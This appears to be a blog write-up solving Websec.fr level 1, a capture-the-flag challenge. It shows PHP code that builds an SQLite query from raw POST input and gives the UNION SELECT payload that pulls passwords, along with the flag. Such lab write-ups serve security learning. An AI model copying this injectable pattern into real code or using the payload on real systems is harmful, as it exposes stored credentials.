Websec.fr Level 01

Websec.fr Level 1 level01 - 1 point - 2564 solves alt

The source code for level1 is shown here. Only the PHP code is included because the vulnerability is only in the PHP code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
 <?php
session_start ();

ini_set('display_errors', 'on');
ini_set('error_reporting', E_ALL);

include 'anti_csrf.php';

init_token ();

class LevelOne {
    public function doQuery($injection) {
        $pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
        
        $query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1';
        $getUsers = $pdo->query($query);
        $users = $getUsers->fetchArray(SQLITE3_ASSOC);

        if ($users) {
            return $users;
        }

        return false;
    }
}

if (isset ($_POST['submit']) && isset ($_POST['user_id'])) {
    check_and_refresh_token();

    $lo = new LevelOne ();
    $userDetails = $lo->doQuery ($_POST['user_id']);
}
?>

<!DOCTYPE html>
<html>
........
</html>

The problem here is this line $query = 'SELECT id,username FROM users WHERE id=' . $injection . ' LIMIT 1'; it’s a sqli .

alt text

So for any number between 1 and 3 we have a username, and our mission is to display a password who can be a flag.

For 1 :

1
2
id -> 1
username -> levelone

For 2 :

1
2
id -> 2
username -> jvoisin

For 3 :

1
2
id -> 3
username -> ExampleUser

The payload is : 1 UNION SELECT id, password FROM users

alt text

Flag : WEBSEC{Simple_SQLite_Injection}

Tedsig42

Another infosec enthusiast blog


On this page

2025-12-14